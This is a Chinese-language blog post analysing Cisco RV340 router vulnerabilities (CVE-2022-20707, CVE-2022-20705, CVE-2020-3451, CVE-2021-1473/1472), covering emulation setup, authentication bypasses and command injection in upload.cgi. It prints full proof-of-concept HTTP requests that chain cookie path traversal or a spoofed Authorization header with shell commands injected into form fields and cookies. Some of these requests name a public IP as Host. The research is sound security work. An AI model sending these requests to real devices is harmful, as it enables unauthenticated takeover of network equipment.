Cisco RV340命令执行漏洞(CVE-2022-20707)及关联历史漏洞分析

01  引言

本篇文章主要是对Cisco RV340命令执行漏洞(CVE-2022-20707)进行的研究分析,尽管利用此漏洞需要身份验证,但可以通过CVE-2022-20705绕过现有的身份验证机制实现无条件的命令执行。历史相关的漏洞还包括:CVE-2020-3451、CVE-2021-1473、CVE-2021-1472,我们会逐一进行分析。

02  环境搭建

2.1 固件下载

可在Cisco官网下载到固件:

https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.26?catid=268437899

2.2 固件解压

推荐使用7z-zip软件提取openwrt-comcerto2000-hgw-rootfs-ubi_nand.img

\RV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img\RV34X-v1.0.03.22-2021-06-14-02-33-28-AM\fw.gz\fw\openwrt-comcerto2000-hgw-rootfs-ubi_nand.img

将得到的ubi格式img用binwalk进行解压,但这里有点小坑,binwalk会把软链接给重置为/dev/null。

笔者这里是通过修改binwalk代码的方式强行绕过了此逻辑:

binwalk/modules/extractor.py

2.3 qemu系统模拟

修改Ubuntu 主机的网络配置,修改系统的网络接口配置文件/etc/network/interfaces。

编辑/etc/qemu-ifup

具体网络配置可以参考:
https://blog.csdn.net/QQ1084283172/article/details/69378333
重启一下虚拟机,因为我Ubuntu 主机的网卡是nat的,桥接就是桥接到nat网络里边去。

下载对应的debian qemu镜像

 https://people.debian.org/~aurel32/qemu/armhf/

启动qemu虚拟机:

1 sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=tty0" -net nic -net tap -nographic  

将解出来的固件传到qemu虚拟机:

1 scp -r 1.tar   root@192.168.250.173:/root/

解压并切入chroot环境:

1 tar zxvf 1.tarchmod -R 777 rootfs2 cd rootfs3 sudo mount --bind /proc proc4 sudo mount --bind /dev dev5 chroot . /bin/sh

逐步启动ngix服务:

1 /etc/init.d/boot boot2 generate_default_cert3 /etc/init.d/confd start4 /etc/init.d/nginx start

尝试访问web页面:

至此,模拟环境搭建完成,可以开始进行漏洞测试。

2.4 调试技巧

因为cgi是以uwsgi子进程的形式启动来处理请求,一次请求一个进程,使用gdbserver并不好attach。故直接修改upload.cgi二进制文件,在main函数入口位置修改汇编为自己跳自己,弄个死循环:

这样进程就会一直卡住,等到gdbserver attach上,再通过修改内存方式,修改代码为原程序逻辑:

03 CVE-2022-20705

此漏洞是因nginx配置不当导致的授权绕过漏洞,是命令执行漏洞(CVE-2022-20707)利用的前置条件。

命令执行漏洞需要用户能访问upload页面,这本是一个需要鉴权的页面。查看nginx配置文件以及配置引用关系,定位到/upload路径的访问是由/var/nginx/conf.d/web.upload.conf控制

 1 location / form - file - upload { 2     include uwsgi_params; 3     proxy_buffering off; 4     uwsgi_modifier1 9; 5     uwsgi_pass 127.0.0.1 : 9003; 6     uwsgi_read_timeout 3600; 7     uwsgi_send_timeout 3600; 8 } 9 location / upload {set $deny 1;10     if ( - f / tmp / websession / token / $cookie_sessionid) {11         set $deny "0";12     }13     if ($deny = "1") {14         return 403;15     }16     upload_pass / form - file - upload;17     upload_store / tmp / upload;18     upload_store_access user: rw group: rw all: rw;19     upload_set_form_field $upload_field_name.name "$upload_file_name";20     upload_set_form_field $upload_field_name.content_type "$upload_content_type";21     upload_set_form_field $upload_field_name.path "$upload_tmp_path";22     upload_aggregate_form_field "$upload_field_name.md5""$upload_file_md5";23     upload_aggregate_form_field "$upload_field_name.size""$upload_file_size";24     upload_pass_form_field "^.*$";25     upload_cleanup 400 404 499 500 - 505;26     upload_resumable on;

27

可以看到,nginx会通过判断/tmp/websession/token/$cookie_sessionid文件是否存在来进行访问控制。$cookie_sessionid可以通过我们传递的cookie来控制,我们可以将$cookie_sessionid的值设置为一个必定存在的文件,如../../../../../etc/passwd,即可绕过该判断机制。

但是除了nginx的配置外,upload.cgi程序内部还有对传入cookie的格式校验,直接传入../../../../../etc/passwd显然是过不了代码侧的格式校验的:

else if ( !strcmp(v5, "/upload")         && HTTP_COOKIE         && strlen(HTTP_COOKIE) - 16 <= 0x40         && !match_regex("^[A-Za-z0-9+=/]*$", HTTP_COOKIE) )  {    v24 = v34;    v25 = v35;    v26 = (int)v32;    v27 = StrBufToStr(v41);    sub_12684(HTTP_COOKIE, v24, v25, v26, v27, v36, v37, v38);  }

那么有没有什么办法既能绕过nginx的鉴权,同时又能满足代码侧的格式校验呢?

问题的关键就在于程序后端获取cookie的逻辑。这里代码通过for循环获取cookie的值,遇到分号就隔断了:

if ( HTTP_COOKIE ) 
 {
   StrBufSetStr(v40, HTTP_COOKIE);   HTTP_COOKIE = 0;   v13 = (char *)StrBufToStr(v40);   for ( i = strtok_r(v13, ";", &save_ptr); i; i = strtok_r(0, ";", &save_ptr) )   {     sessionid = strstr(i, "sessionid=");     if ( sessionid )       HTTP_COOKIE = sessionid + '\n';   } }    }

换言之我们可以在cookie里传入两个sessionid,前一个用来绕过nginx的鉴权机制,后一个用来匹配upload.cgi的校验正则,代码会取最后一个sessionid作为传入的参数值:

Cookie: sessionid=../../../etc/passwd;sessionid=Y2lzY28vMTI3LjAuMC4xLzEx;

如此便可成功绕过身份验证,进入upload.cgi的程序逻辑。

04  CVE-2022-20707

在通过CVE-2022-20705绕过登录限制后,upload.cgi本身还存在一处命令执行漏洞。

这里存在一个非常明显的命令拼接,upload.cgi会将请求提交过来的参数处理成json后被拼接到命令里,那么我们在参数中使用';{CMD};'即可成功执行命令。

upload.cgi 可以接收的参数包括:

 1 jsonutil_get_string(dword_2324C, &v31, "\"file.path\"", -1);
 2 jsonutil_get_string(dword_2324C, &haystack, "\"filename\"", -1);
 3 jsonutil_get_string(dword_2324C, &v32, "\"pathparam\"", -1);
 4 jsonutil_get_string(dword_2324C, &v33, "\"fileparam\"", -1);
 5 jsonutil_get_string(dword_2324C, &v34, "\"destination\"", -1);
 6 jsonutil_get_string(dword_2324C, &v35, "\"option\"", -1);
 7 jsonutil_get_string(dword_2324C, &v36, "\"cert_name\"", -1);
 8 jsonutil_get_string(dword_2324C, &v37, "\"cert_type\"", -1);
 9 jsonutil_get_string(dword_2324C, &v38, "\"password\"", -1);

该cgi使用nginx文件上传模块获取参数,有些参数是由该模块生成。我们尽量选一些不影响程序正常逻辑的参数进行拼接,比如destination和option 

在拼接后的命令执行字符串如下:

可以看到命令已经执行:

结合CVE-2022-20705的权限绕过,最终poc为:

 1 POST /upload HTTP/1.1 2 Host: 192.168.250.173 3 Content-Length: 729 4 Accept: application/json, text/plain, */* 5 optional-header: header-value 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36 7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz6gIo5kcTkAlkCwX 8 Origin: http://192.168.250.173 9 Referer: http://192.168.250.173/index.html10 Accept-Encoding: gzip, deflate11 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.712 Cookie: sessionid=../../../etc/passwd;sessionid=Y2lzY28vMTI3LjAuMC4xLzEx;

13 Connection: close

14

15 ------WebKitFormBoundaryz6gIo5kcTkAlkCwX

16 Content-Disposition: form-data; name="sessionid"

17
18 EU6DJKEIWO19 ------WebKitFormBoundaryz6gIo5kcTkAlkCwX20 Content-Disposition: form-data; name="pathparam"

21
22 Firmware23 ------WebKitFormBoundaryz6gIo5kcTkAlkCwX24 Content-Disposition: form-data; name="fileparam"

25
26 file00127 ------WebKitFormBoundaryz6gIo5kcTkAlkCwX28 Content-Disposition: form-data; name="destination"29

30 x';ls>/tmp/download/1.xml;'31 ------WebKitFormBoundaryz6gIo5kcTkAlkCwX32 Content-Disposition: form-data; name="option"33 

34 x35 ------WebKitFormBoundaryz6gIo5kcTkAlkCwX36 Content-Disposition: form-data; name="file"; filename="1.img"37 Content-Type: application/octet-stream38

39 111140 ------WebKitFormBoundaryz6gIo5kcTkAlkCwX--

05  CVE-2020-3451

1.0.03.18及之前版本中的nginx配置并没有对访问upload校验是否授权。选用1.0.00.33进行分析,该版本cgi内部也没有对该路径是否授权校验,对/upload请求的处理由jsonrpc.cgi 处理:

cp 命令拼接时 v23由fileparam传入

当在fileparam参数传入恶意拼接命令时,即可执行

POC:

 1 POST /upload HTTP/1.1 2 Connection: close 3 Accept-Encoding: gzip, deflate 4 Accept: application/json, text/plain, */* 5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 7 Host: 186.86.126.88:443 8 Content-Type: multipart/form-data; boundary=---------------------------42194771962641085195329489787 9 Content-Length: 61410
11 -----------------------------4219477196264108519532948978712 Content-Disposition: form-data; name="sessionid"13
14 FOOT15 -----------------------------4219477196264108519532948978716 Content-Disposition: form-data; name="fileparam"17
18 file001;ls>/www/download/3.xml;19
20 -----------------------------4219477196264108519532948978721 Content-Disposition: form-data; name="pathparam"22
23 Firmware24 -----------------------------4219477196264108519532948978725 Content-Disposition: form-data; name="file"; filename="1233.img"26 Content-Type: application/octet-stream27
28 11111111111111129 -----------------------------42194771962641085195329489787--

06  CVE-2021-1473 & CVE-2021-1472

1.0.03.20版本的web.upload.conf为

 1 location /form-file-upload {  

 2   include uwsgi_params; 3   proxy_buffering off; 4   uwsgi_modifier1 9;   uwsgi_pass 127.0.0.1:9003; 6   uwsgi_read_timeout 3600; 7   uwsgi_send_timeout 3600; 8 }

 9 location /upload {11   set $deny 1;12

13       if ($http_authorization != "") {14               set $deny "0";15       }16

17       if (-f /tmp/websession/token/$cookie_sessionid) {18               set $deny "0";19       }20

21       if ($deny = "1") {22               return 403;23       }24

25  upload_pass /form-file-upload;26  upload_store /tmp/upload;27  upload_store_access user:rw group:rw all:rw;28  upload_set_form_field $upload_field_name.name "$upload_file_name";29  upload_set_form_field $upload_field_name.content_type "$upload_content_type";30  upload_set_form_field $upload_field_name.path "$upload_tmp_path";31  upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";32  upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";33  upload_pass_form_field "^.*$";34  upload_cleanup 400 404 499 500-505;35  upload_resumable on;36 }

只要在头部增加 Authorization 即可令$http_authorization不为空,从而绕过身份校验。

该版本的upload.cgi在进行curl命令拼接时,a1由cookie中的sessionid传入。

最终poc为:

 1 POST /upload HTTP/1.1 2 Connection: close 3 Accept-Encoding: gzip, deflate 4 Accept: application/json, text/plain, */* 5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 6 Host: 186.86.126.88:443 7 Cookie: sessionid='&ls>/tmp/download/2.xml&';  8 Authorization: YWRtaW46YWRtaW4= 9 Content-Length: 57010 Content-Type: multipart/form-data; boundary=5097417339e2369be225700925a7175811

12 --5097417339e2369be225700925a7175813 Content-Disposition: form-data; name="sessionid"14

15 foobar16 --5097417339e2369be225700925a7175817 Content-Disposition: form-data; name="destination"18

19 x

20 --5097417339e2369be225700925a7175821 Content-Disposition: form-data; name="fileparam"22

23 Configuration24 --5097417339e2369be225700925a7175825 Content-Disposition: form-data; name="pathparam"26

27 Configuration28 --5097417339e2369be225700925a7175829 Content-Disposition: form-data; name="file"; filename="1233.xml"30 Content-Type: text/xml31

32 123333333 --5097417339e2369be225700925a71758--

07  总结

下表为upload.cgi系列漏洞的总结:

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值